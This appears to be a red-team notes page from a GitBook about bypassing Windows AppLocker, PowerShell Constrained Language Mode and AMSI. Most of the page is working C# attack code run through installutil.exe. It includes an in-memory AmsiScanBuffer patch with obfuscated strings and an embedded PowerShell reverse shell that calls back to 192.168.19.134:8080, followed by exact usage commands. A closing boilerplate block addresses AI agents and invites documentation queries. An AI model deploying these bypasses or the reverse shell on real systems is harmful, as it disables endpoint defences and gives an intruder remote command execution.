> For the complete documentation index, see [llms.txt](https://vulnableone.gitbook.io/vulnableone/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://vulnableone.gitbook.io/vulnableone/offensive-treasure/red-team/defense-evasion/security-control/applocker.md).

# AppLocker

## Bypass CLM and Applocker

```csharp
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
using System.Collections.ObjectModel;

namespace Bypass
{
    class Program
    {
        static void Main(string[] args)
        {
            Console.WriteLine("Bypassing CLM");
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            Runspace rs = RunspaceFactory.CreateRunspace();
            rs.Open();

            PowerShell ps = PowerShell.Create();
            ps.Runspace = rs;

            String cmd = "$ExecutionContext.SessionState.LanguageMode";
            ps.AddScript(cmd);

            Collection<PSObject> output = ps.Invoke();
            foreach (PSObject o in output)
            {
                Console.WriteLine(o.ToString());
            }
            rs.Close();
        }
    }
}
```

Compiled and execute

```powershell
C:\>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U C:\Windows\Tasks\BypassCLM.exe
Microsoft (R) .NET Framework Installation utility Version 4.8.4084.0
Copyright (C) Microsoft Corporation.  All rights reserved.

FullLanguage

C:\>
```

## Bypass AMSI + CLM + AppLocker

{% embed url="<https://github.com/vulnableone/bypassX/?tab=readme-ov-file>" %}

```csharp
﻿using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
using System.Runtime.InteropServices;

namespace Bypass
{
    class Program
    {

        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);

        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        static void Main(string[] args)
        {
            Console.WriteLine("Bypassing CLM");
        }

        public static int bypassAMSI()
        {
            char[] chars = { 'A', 'm', 's', 'i', 'S', 'c', 'a', 'n', 'B', 'u', 'f', 'f', 'e', 'r' };
            String funcName = string.Join("", chars);

            char[] chars2 = { 'a', 'm', 's', 'i', '.', 'd', 'l', 'l' };
            String libName = string.Join("", chars2);

            IntPtr Address = GetProcAddress(LoadLibrary(libName), funcName);

            Byte[] Patchx64 = new byte[] { 0xb8, 0x34, 0x12, 0x07, 0x80, 0x66, 0xb8, 0x32, 0x00, 0xb0, 0x57, 0xc3 };

            uint p = 0;

            VirtualProtect(Address, (UIntPtr)3, 0x40, out p);
            Marshal.Copy(Patchx64, 0, Address, 12);


            return 0;
        }
    }

    [System.ComponentModel.RunInstaller(true)]
    public class Sample : System.Configuration.Install.Installer
    {
        public override void Uninstall(System.Collections.IDictionary savedState)
        {
            Program.bypassAMSI();
            using (PowerShell ps = PowerShell.Create())
            {

                string commmand = @"$client = New-Object System.Net.Sockets.TCPClient('192.168.19.134',8080);
                                    $stream = $client.GetStream();
                                    [byte[]]$bytes = 0..65535|%{0};
                                    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
                                    {
                                        $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
                                        $sendback = (iex $data 2>&1 | Out-String );
                                        $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
                                        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
                                        $stream.Write($sendbyte,0,$sendbyte.Length);
                                        $stream.Flush();
                                    }
                                    $client.Close();";

                ps.AddScript(commmand);
                ps.Invoke();
            }
        }
    }
}
```

Usage:

{% code overflow="wrap" %}

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U BypassX.exe
```

{% endcode %}

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2Fyq0kXXLDwRDAeHis1xmS%2Fimage.png?alt=media&amp;token=6d5fa662-c1e7-4c17-acdc-94f6ab8e1249" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1535793005-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FqDX4NWkPelZggTpGCfyF%2Fuploads%2F1Tm84zpva0ijk2VoTq6A%2Fimage.png?alt=media&amp;token=82daf416-4e64-4ab9-ab6f-5d1b6ed5445c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://vulnableone.gitbook.io/vulnableone/offensive-treasure/red-team/defense-evasion/security-control/applocker.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
